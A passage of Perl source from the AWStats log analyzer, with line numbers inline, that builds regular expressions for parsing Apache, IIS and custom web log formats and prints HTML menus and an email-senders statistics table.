%{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct. 8952# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n) 8953 if ($Debug) { 8954 debug( 8955"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')" 8956 ); 8957 } 8958 if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format 8959 if ( $LogFormat eq '1' || $LogFormat eq '6' ) 8960 { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"". 8961 # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "". 8962 8963# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; 8964 $PerlParsingFormat = 8965"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; 8966 $pos_host = 0; 8967 $pos_logname = 1; 8968 $pos_date = 2; 8969 $pos_method = 3; 8970 $pos_url = 4; 8971 $pos_code = 5; 8972 $pos_size = 6; 8973 $pos_referer = 7; 8974 $pos_agent = 8; 8975 @fieldlib = ( 8976 'host', 'logname', 'date', 'method', 'url', 'code', 8977 'size', 'referer', 'ua' 8978 ); 8979 } 8980 elsif ( $LogFormat eq '2' ) 8981 { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)" 8982 $PerlParsingFormat = 8983"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)"; 8984 $pos_date = 0; 8985 $pos_host = 1; 8986 $pos_logname = 2; 8987 $pos_method = 3; 8988 $pos_url = 4; 8989 $pos_code = 5; 8990 $pos_size = 6; 8991 $pos_agent = 7; 8992 $pos_referer = 8; 8993 @fieldlib = ( 8994 'date', 'host', 'logname', 'method', 'url', 'code', 8995 'size', 'ua', 'referer' 8996 ); 8997 } 8998 elsif ( $LogFormat eq '3' ) { 8999 $PerlParsingFormat = 9000"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)"; 9001 $pos_date = 0; 9002 $pos_method = 1; 9003 $pos_code = 2; 9004 $pos_host = 3; 9005 $pos_agent = 4; 9006 $pos_referer = 5; 9007 $pos_url = 6; 9008 $pos_size = 7; 9009 @fieldlib = ( 9010 'date', 'method', 'code', 'host', 9011 'ua', 'referer', 'url', 'size' 9012 ); 9013 } 9014 elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b" 9015 # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes). 9016 # Sample: 10.100.10.45 - BMAA\will.smith [01/Jul/2013:07:17:28 +0200] "GET /Download/__Omnia__Aus- und Weiterbildung__Konsular- und Verwaltungskonferenz, Programm.doc HTTP/1.1" 200 9076810 9017# $PerlParsingFormat = 9018#"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)"; 9019 $PerlParsingFormat = 9020"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+)"; 9021 $pos_host = 0; 9022 $pos_logname = 1; 9023 $pos_date = 2; 9024 $pos_method = 3; 9025 $pos_url = 4; 9026 $pos_code = 5; 9027 $pos_size = 6; 9028 @fieldlib = 9029 ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' ); 9030 } 9031 } 9032 else { # Personalized log format 9033 my $LogFormatString = $LogFormat; 9034 9035 # Replacement for Notes format string that are not Apache 9036 $LogFormatString =~ s/%vh/%virtualname/g; 9037 9038 # Replacement for Apache format string 9039 $LogFormatString =~ s/%v(\s)/%virtualname$1/g; 9040 $LogFormatString =~ s/%v$/%virtualname/g; 9041 $LogFormatString =~ s/%h(\s)/%host$1/g; 9042 $LogFormatString =~ s/%h$/%host/g; 9043 $LogFormatString =~ s/%l(\s)/%other$1/g; 9044 $LogFormatString =~ s/%l$/%other/g; 9045 $LogFormatString =~ s/\"%u\"/%lognamequot/g; 9046 $LogFormatString =~ s/%u(\s)/%logname$1/g; 9047 $LogFormatString =~ s/%u$/%logname/g; 9048 $LogFormatString =~ s/%t(\s)/%time1$1/g; 9049 $LogFormatString =~ s/%t$/%time1/g; 9050 $LogFormatString =~ s/\"%r\"/%methodurl/g; 9051 $LogFormatString =~ s/%>s/%code/g; 9052 $LogFormatString =~ s/%b(\s)/%bytesd$1/g; 9053 $LogFormatString =~ s/%b$/%bytesd/g; 9054 $LogFormatString =~ s/\"%\{Referer}i\"/%refererquot/g; 9055 $LogFormatString =~ s/\"%\{User-Agent}i\"/%uaquot/g; 9056 $LogFormatString =~ s/%\{mod_gzip_input_size}n/%gzipin/g; 9057 $LogFormatString =~ s/%\{mod_gzip_output_size}n/%gzipout/g; 9058 $LogFormatString =~ s/%\{mod_gzip_compression_ratio}n/%gzipratio/g; 9059 $LogFormatString =~ s/\(%\{ratio}n\)/%deflateratio/g; 9060 9061 # Replacement for a IIS and ISA format string 9062 $LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri 9063 $LogFormatString =~ s/date\stime/%time2/g; 9064 $LogFormatString =~ s/c-ip/%host/g; 9065 $LogFormatString =~ s/cs-username/%logname/g; 9066 $LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR 9067 $LogFormatString =~ s/cs-uri-stem/%url/g; 9068 $LogFormatString =~ s/cs-uri/%url/g; 9069 $LogFormatString =~ s/sc-status/%code/g; 9070 $LogFormatString =~ s/sc-bytes/%bytesd/g; 9071 $LogFormatString =~ s/cs-version/%other/g; # Protocol 9072 $LogFormatString =~ s/cs\(User-Agent\)/%ua/g; 9073 $LogFormatString =~ s/c-agent/%ua/g; 9074 $LogFormatString =~ s/cs\(Referer\)/%referer/g; 9075 $LogFormatString =~ s/cs-referred/%referer/g; 9076 $LogFormatString =~ s/sc-authenticated/%other/g; 9077 $LogFormatString =~ s/s-svcname/%other/g; 9078 $LogFormatString =~ s/s-computername/%other/g; 9079 $LogFormatString =~ s/r-host/%virtualname/g; 9080 $LogFormatString =~ s/cs-host/%virtualname/g; 9081 $LogFormatString =~ s/r-ip/%other/g; 9082 $LogFormatString =~ s/r-port/%other/g; 9083 $LogFormatString =~ s/time-taken/%other/g; 9084 $LogFormatString =~ s/cs-bytes/%other/g; 9085 $LogFormatString =~ s/cs-protocol/%other/g; 9086 $LogFormatString =~ s/cs-transport/%other/g; 9087 $LogFormatString =~ 9088 s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR 9089 $LogFormatString =~ s/cs-mime-type/%other/g; 9090 $LogFormatString =~ s/s-object-source/%other/g; 9091 $LogFormatString =~ s/s-cache-info/%other/g; 9092 $LogFormatString =~ s/cluster-node/%cluster/g; 9093 $LogFormatString =~ s/s-sitename/%other/g; 9094 $LogFormatString =~ s/s-ip/%other/g; 9095 $LogFormatString =~ s/s-port/%other/g; 9096 $LogFormatString =~ s/cs\(Cookie\)/%other/g; 9097 $LogFormatString =~ s/sc-substatus/%other/g; 9098 $LogFormatString =~ s/sc-win32-status/%other/g; 9099 9100 9101 # Added for MMS 9102 $LogFormatString =~ 9103 s/protocol/%protocolmms/g; # cs-method might not be available 9104 $LogFormatString =~ 9105 s/c-status/%codemms/g; # c-status used when sc-status not available 9106 if ($Debug) { debug(" LogFormatString=$LogFormatString"); } 9107 9108# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable 9109 my $i = 0; 9110 my $LogSeparatorWithoutStar = $LogSeparator; 9111 $LogSeparatorWithoutStar =~ s/[\*\+]//g; 9112 foreach my $f ( split( /\s+/, $LogFormatString ) ) { 9113 9114 # Add separator for next field 9115 if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; } 9116 9117 # If field is prefixed with custom string, just push it to regex literally 9118 if ( $f =~ /^([^%]+)%/ ) { 9119 $PerlParsingFormat .= "$1" 9120 } 9121 9122 # Special for logname 9123 if ( $f =~ /%lognamequot$/ ) { 9124 $pos_logname = $i; 9125 $i++; 9126 push @fieldlib, 'logname'; 9127 $PerlParsingFormat .= 9128 "\\\"?([^\\\"]*)\\\"?" 9129 ; # logname can be "value", "" and - in same log (Lotus notes) 9130 } 9131 elsif ( $f =~ /%logname$/ ) { 9132 $pos_logname = $i; 9133 $i++; 9134 push @fieldlib, 'logname'; 9135 9136# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes). 9137 $PerlParsingFormat .= "([^\\/\\[]+)"; 9138 } 9139 9140 # Date format 9141 elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ ) 9142 { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility 9143 $pos_date = $i; 9144 $i++; 9145 push @fieldlib, 'date'; 9146 $pos_tz = $i; 9147 $i++; 9148 push @fieldlib, 'tz'; 9149 $PerlParsingFormat .= 9150"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]"; 9151 } 9152 elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss 9153 $pos_date = $i; 9154 $i++; 9155 push @fieldlib, 'date'; 9156 $PerlParsingFormat .= 9157"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"; # Need \s for Exchange log files 9158 } 9159 elsif ( $f =~ /%time3$/ ) 9160 { # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy 9161 $pos_date = $i; 9162 $i++; 9163 push @fieldlib, 'date'; 9164 $PerlParsingFormat .= 9165"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)"; 9166 } 9167 elsif ( $f =~ /%time4$/ ) { # ddddddddddddd 9168 $pos_date = $i; 9169 $i++; 9170 push @fieldlib, 'date'; 9171 $PerlParsingFormat .= "(\\d+)"; 9172 } 9173 elsif ( $f =~ /%time5$/ ) { 9174 # Supports the following formats: 9175 # - yyyy-mm-ddThh:mm:ss (Incomplete ISO 8601) 9176 # - yyyy-mm-ddThh:mm:ssZ (ISO 8601, zero meridian) 9177 # - yyyy-mm-ddThh:mm:ss+00:00 (ISO 8601) 9178 # - yyyy-mm-ddThh:mm:ss+0000 (Apache's best approximation to ISO 8601 using "%{%Y-%m-%dT%H:%M:%S%z}t" in LogFormat) 9179 # - yyyy-mm-ddThh:mm:ss.000000Z (Amazon AWS log files) 9180 $pos_date = $i; 9181 $i++; 9182 push @fieldlib, 'date'; 9183 $pos_tz = $i; 9184 $i++; 9185 push @fieldlib, 'tz'; 9186 $PerlParsingFormat .= 9187"([^$LogSeparatorWithoutStar]+T[^$LogSeparatorWithoutStar]+)(Z|[-+\.]\\d\\d[:\\.\\dZ]*)?"; 9188 } 9189 elsif ( $f =~ /%time6$/ ) { # dd/mm/yyyy, hh:mm:ss - added additional type to format for IIS date -DWG 12/8/2008 9190 $pos_date = $i; 9191 $i++; 9192 push @fieldlib, 'date'; 9193 $PerlParsingFormat .= "([^,]+,[^,]+)"; 9194 } 9195 9196 # Special for methodurl, methodurlprot and methodurlnoprot 9197 elsif ( $f =~ /%methodurl$/ ) { 9198 $pos_method = $i; 9199 $i++; 9200 push @fieldlib, 'method'; 9201 $pos_url = $i; 9202 $i++; 9203 push @fieldlib, 'url'; 9204 $PerlParsingFormat .= 9205 9206#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\""; 9207"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\""; 9208 } 9209 elsif ( $f =~ /%methodurlprot$/ ) { 9210 $pos_method = $i; 9211 $i++; 9212 push @fieldlib, 'method'; 9213 $pos_url = $i; 9214 $i++; 9215 push @fieldlib, 'url'; 9216 $PerlParsingFormat .= 9217"\\\"([^$LogSeparatorWithoutStar]+) ([^\\\"]+) ([^\\\"]+)\\\""; 9218 } 9219 elsif ( $f =~ /%methodurlnoprot$/ ) { 9220 $pos_method = $i; 9221 $i++; 9222 push @fieldlib, 'method'; 9223 $pos_url = $i; 9224 $i++; 9225 push @fieldlib, 'url'; 9226 $PerlParsingFormat .= 9227"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\""; 9228 } 9229 9230 # Common command tags 9231 elsif ( $f =~ /%virtualnamequot$/ ) { 9232 $pos_vh = $i; 9233 $i++; 9234 push @fieldlib, 'vhost'; 9235 $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\""; 9236 } 9237 elsif ( $f =~ /%virtualname$/ ) { 9238 $pos_vh = $i; 9239 $i++; 9240 push @fieldlib, 'vhost'; 9241 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9242 } 9243 elsif ( $f =~ /%host_r$/ ) { 9244 $pos_hostr = $i; 9245 $i++; 9246 push @fieldlib, 'hostr'; 9247 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9248 } 9249 elsif ( $f =~ /%host$/ ) { 9250 $pos_host = $i; 9251 $i++; 9252 push @fieldlib, 'host'; 9253 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9254 } 9255 elsif ( $f =~ /%host_proxy$/ ) 9256 { # if host_proxy tag used, host tag must not be used 9257 $pos_host = $i; 9258 $i++; 9259 push @fieldlib, 'host'; 9260 $PerlParsingFormat .= "(.+?)(?:, .*)*"; 9261 } 9262 elsif ( $f =~ /%method$/ ) { 9263 $pos_method = $i; 9264 $i++; 9265 push @fieldlib, 'method'; 9266 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9267 } 9268 elsif ( $f =~ /%url$/ ) { 9269 $pos_url = $i; 9270 $i++; 9271 push @fieldlib, 'url'; 9272 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9273 } 9274 elsif ( $f =~ /%query$/ ) { 9275 $pos_query = $i; 9276 $i++; 9277 push @fieldlib, 'query'; 9278 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9279 } 9280 elsif ( $f =~ /%code$/ ) { 9281 $pos_code = $i; 9282 $i++; 9283 push @fieldlib, 'code'; 9284 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9285 } 9286 elsif ( $f =~ /%bytesd$/ ) { 9287 $pos_size = $i; 9288 $i++; 9289 push @fieldlib, 'size'; 9290 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9291 } 9292 elsif ( $f =~ /%refererquot$/ ) { 9293 $pos_referer = $i; 9294 $i++; 9295 push @fieldlib, 'referer'; 9296 $PerlParsingFormat .= 9297 "\\\"([^\\\"]*)\\\""; # referer might be "" 9298 } 9299 elsif ( $f =~ /%referer$/ ) { 9300 $pos_referer = $i; 9301 $i++; 9302 push @fieldlib, 'referer'; 9303 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9304 } 9305 elsif ( $f =~ /%uaquot$/ ) { 9306 $pos_agent = $i; 9307 $i++; 9308 push @fieldlib, 'ua'; 9309 $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be "" 9310 } 9311 elsif ( $f =~ /%uabracket$/ ) { 9312 $pos_agent = $i; 9313 $i++; 9314 push @fieldlib, 'ua'; 9315 $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be [] 9316 } 9317 elsif ( $f =~ /%ua$/ ) { 9318 $pos_agent = $i; 9319 $i++; 9320 push @fieldlib, 'ua'; 9321 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9322 } 9323 elsif ( $f =~ /%gzipin$/ ) { 9324 $pos_gzipin = $i; 9325 $i++; 9326 push @fieldlib, 'gzipin'; 9327 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9328 } 9329 elsif ( $f =~ /%gzipout/ ) 9330 { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields 9331 $pos_gzipout = $i; 9332 $i++; 9333 push @fieldlib, 'gzipout'; 9334 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9335 } 9336 elsif ( $f =~ /%gzipratio/ ) 9337 { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields 9338 $pos_compratio = $i; 9339 $i++; 9340 push @fieldlib, 'gzipratio'; 9341 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9342 } 9343 elsif ( $f =~ /%deflateratio/ ) 9344 { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields 9345 $pos_compratio = $i; 9346 $i++; 9347 push @fieldlib, 'deflateratio'; 9348 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9349 } 9350 elsif ( $f =~ /%email_r$/ ) { 9351 $pos_emailr = $i; 9352 $i++; 9353 push @fieldlib, 'email_r'; 9354 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9355 } 9356 elsif ( $f =~ /%email$/ ) { 9357 $pos_emails = $i; 9358 $i++; 9359 push @fieldlib, 'email'; 9360 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9361 } 9362 elsif ( $f =~ /%cluster$/ ) { 9363 $pos_cluster = $i; 9364 $i++; 9365 push @fieldlib, 'clusternb'; 9366 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9367 } 9368 elsif ( $f =~ /%timetaken$/ ) { 9369 $pos_timetaken = $i; 9370 $i++; 9371 push @fieldlib, 'timetaken'; 9372 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9373 } 9374 9375# Special for protocolmms, used for method if method not already found (for MMS) 9376 elsif ( $f =~ /%protocolmms$/ ) { 9377 if ( $pos_method < 0 ) { 9378 $pos_method = $i; 9379 $i++; 9380 push @fieldlib, 'method'; 9381 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9382 } 9383 } 9384 9385 # Special for codemms, used for code only if code not already found (for MMS) 9386 elsif ( $f =~ /%codemms$/ ) { 9387 if ( $pos_code < 0 ) { 9388 $pos_code = $i; 9389 $i++; 9390 push @fieldlib, 'code'; 9391 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9392 } 9393 } 9394 9395 # Extra tag 9396 elsif ( $f =~ /%extra(\d+)$/ ) { 9397 $pos_extra[$1] = $i; 9398 $i++; 9399 push @fieldlib, "extra$1"; 9400 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; 9401 } 9402 9403 # Other tag 9404 elsif ( $f =~ /%other$/ ) { 9405 $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; 9406 } 9407 elsif ( $f =~ /%otherquot$/ ) { 9408 $PerlParsingFormat .= "\\\"[^\\\"]*\\\""; 9409 } 9410 9411 # Unknown tag (no parenthesis) 9412 else { 9413 $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; 9414 } 9415 } 9416 if ( !$PerlParsingFormat ) { 9417 error("No recognized format tag in personalized LogFormat string"); 9418 } 9419 } 9420 if ( $pos_host < 0 ) { 9421 error( 9422"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)." 9423 ); 9424 } 9425 if ( $pos_date < 0 ) { 9426 error( 9427"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)." 9428 ); 9429 } 9430 if ( $pos_method < 0 ) { 9431 error( 9432"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)." 9433 ); 9434 } 9435 if ( $pos_url < 0 ) { 9436 error( 9437"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)." 9438 ); 9439 } 9440 if ( $pos_code < 0 ) { 9441 error( 9442"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)." 9443 ); 9444 } 9445# if ( $pos_size < 0 ) { 9446# error( 9447#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)." 9448# ); 9449# } 9450 $PerlParsingFormat = qr/^$PerlParsingFormat/; 9451 if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); } 9452} 9453 9454#------------------------------------------------------------------------------ 9455# Function: Prints a menu category for the frame or static header 9456# Parameters: - 9457# Input: $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, 9458# $NewLinkParams, $NewLinkTarget 9459# Output: HTML 9460# Return: - 9461#------------------------------------------------------------------------------ 9462sub HTMLShowMenuCateg { 9463 my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, 9464 $NewLinkParams, $NewLinkTarget ) 9465 = ( shift, shift, shift, shift, shift, shift, shift, shift ); 9466 $categicon = ''; # Comment this to enabme category icons 9467 my ( $menu, $menulink, $menutext ) = ( shift, shift, shift ); 9468 my $linetitle = 0; 9469 9470 # Call to plugins' function AddHTMLMenuLink 9471 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) { 9472 9473# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)"; 9474# eval("$function"); 9475 my $function = "AddHTMLMenuLink_$pluginname"; 9476 &$function( $categ, $menu, $menulink, $menutext ); 9477 } 9478 foreach my $key (%$menu) { 9479 if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; } 9480 } 9481 if ( !$linetitle ) { return; } 9482 9483# At least one entry in menu for this category, we can show category and entries 9484 my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); 9485 print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\"" 9486 . ( $frame ? "" : " valign=\"top\"" ) . ">" 9487 . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" ) 9488 . "<b>$categtext:</b></td>\n"; 9489 print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); 9490 foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) { 9491 if ( $menu->{$key} == 0 ) { next; } 9492 if ( $menulink->{$key} == 1 ) { 9493 print( $frame? "<tr><td class=\"awsm\">" : "" ); 9494 print 9495 "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>"; 9496 print( $frame? "</td></tr>\n" : " " ); 9497 } 9498 if ( $menulink->{$key} == 2 ) { 9499 print( $frame 9500 ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " 9501 : "" 9502 ); 9503 print "<a href=\"" 9504 . ( 9505 $ENV{'GATEWAY_INTERFACE'} 9506 || !$StaticLinks 9507 ? XMLEncode("$AWScript${NewLinkParams}output=$key") 9508 : "$StaticLinks.$key.$StaticExt" 9509 ) 9510 . "\"$NewLinkTarget>$menutext->{$key}</a>\n"; 9511 print( $frame? "</td></tr>\n" : " " ); 9512 } 9513 } 9514 print( $frame? "" : "</td></tr>\n" ); 9515} 9516 9517#------------------------------------------------------------------------------ 9518# Function: Prints HTML to display an email senders chart 9519# Parameters: - 9520# Input: $NewLinkParams, NewLinkTarget 9521# Output: HTML 9522# Return: - 9523#------------------------------------------------------------------------------ 9524sub HTMLShowEmailSendersChart { 9525 my $NewLinkParams = shift; 9526 my $NewLinkTarget = shift; 9527 my $MaxLengthOfShownEMail = 48; 9528 9529 my $total_p; 9530 my $total_h; 9531 my $total_k; 9532 my $max_p; 9533 my $max_h; 9534 my $max_k; 9535 my $rest_p; 9536 my $rest_h; 9537 my $rest_k; 9538 9539 # Show filter form 9540 #&ShowFormFilter("emailsfilter",$EmailsFilter); 9541 # Show emails list 9542 9543 print "$Center<a name=\"emailsenders\"> </a><br />\n"; 9544 my $title; 9545 if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { 9546 $title = "$Message[131]"; 9547 } 9548 else { 9549 $title = 9550"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\"" 9551 . ( 9552 $ENV{'GATEWAY_INTERFACE'} 9553 || !$StaticLinks 9554 ? XMLEncode("$AWScript${NewLinkParams}output=allemails") 9555 : "$StaticLinks.allemails.$StaticExt" 9556 ) 9557 . "\"$NewLinkTarget>$Message[80]</a>"; 9558 if ( $ShowEMailSenders =~ /L/i ) { 9559 $title .= " - <a href=\"" 9560 . ( 9561 $ENV{'GATEWAY_INTERFACE'} 9562 || !$StaticLinks 9563 ? XMLEncode("$AWScript${NewLinkParams}output=lastemails") 9564 : "$StaticLinks.lastemails.$StaticExt" 9565 ) 9566 . "\"$NewLinkTarget>$Message[9]</a>"; 9567 } 9568 } 9569 &tab_head( "$title", 19, 0, 'emailsenders' ); 9570 print 9571"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : " 9572 . ( scalar keys %_emails_h ) . "</th>"; 9573 if ( $ShowEMailSenders =~ /H/i ) { 9574 print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" 9575 . Tooltip(4) 9576 . ">$Message[57]</th>"; 9577 } 9578 if ( $ShowEMailSenders =~ /B/i ) { 9579 print 9580"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" 9581 . Tooltip(5) 9582 . ">$Message[75]</th>"; 9583 } 9584 if ( $ShowEMailSenders =~ /M/i ) { 9585 print 9586"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 9587 } 9588 if ( $ShowEMailSenders =~ /L/i ) { 9589 print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; 9590 } 9591 print "</tr>\n"; 9592 print 9593"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; 9594 $total_p = $total_h = $total_k = 0; 9595 $max_h = 1; 9596 foreach ( values %_emails_h ) { 9597 if ( $_ > $max_h ) { $max_h = $_; } 9598 } 9599 $max_k = 1; 9600 foreach ( values %_emails_k ) { 9601 if ( $_ > $max_k ) { $max_k = $_; } 9602 } 9603 my $count = 0; 9604 if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) { 9605 &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, 9606 \%_emails_h ); 9607 } 9608 if ( $HTMLOutput{'allemails'} ) { 9609 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, 9610 \%_emails_h ); 9611 } 9612 if ( $HTMLOutput{'lastemails'} ) { 9613 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, 9614 \%_emails_l ); 9615 } 9616 foreach my $key (@keylist) { 9617 my $newkey = $key; 9618 if ( length($key) > $MaxLengthOfShownEMail ) { 9619 $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; 9620 } 9621 my $bredde_h = 0; 9622 my $bredde_k = 0; 9623 if ( $max_h > 0 ) { 9624 $bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1; 9625 } 9626 if ( $max_k > 0 ) { 9627 $bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1; 9628 } 9629 print "<tr>"; 9630 my $direction = IsLocalEMail($key); 9631 9632 if ( $direction > 0 ) { 9633 print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>"; 9634 } 9635 if ( $direction == 0 ) { 9636 print 9637"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; 9638 } 9639 if ( $direction < 0 ) { 9640 print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>"; 9641 } 9642 if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; } 9643 if ( $ShowEMailSenders =~ /B/i ) { 9644 print "<td nowrap=\"nowrap\">" 9645 . Format_Bytes( $_emails_k{$key} ) . "</td>"; 9646 } 9647 if ( $ShowEMailSenders =~ /M/i ) { 9648 print "<td nowrap=\"nowrap\">" 9649 . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) ) 9650 . "</td>"; 9651 } 9652 if ( $ShowEMailSenders =~ /L/i ) { 9653 print "<td nowrap=\"nowrap\">" 9654 . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' ) 9655 . "</td>"; 9656 } 9657 print "</tr>\n"; 9658 9659 #$total_p += $_emails_p{$key}; 9660 $total_h += $_emails_h{$key}; 9661 $total_k += $_emails_k{$key}; 9662 $count++; 9663 } 9664 $rest_p = 0; # $rest_p=$TotalPages-$total_p; 9665 $rest_h = $TotalHits - $total_h; 9666 $rest_k = $TotalBytes - $total_k; 9667 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails 9668 print 9669"<tr><td colspan=\"3\"><span style=\"color: 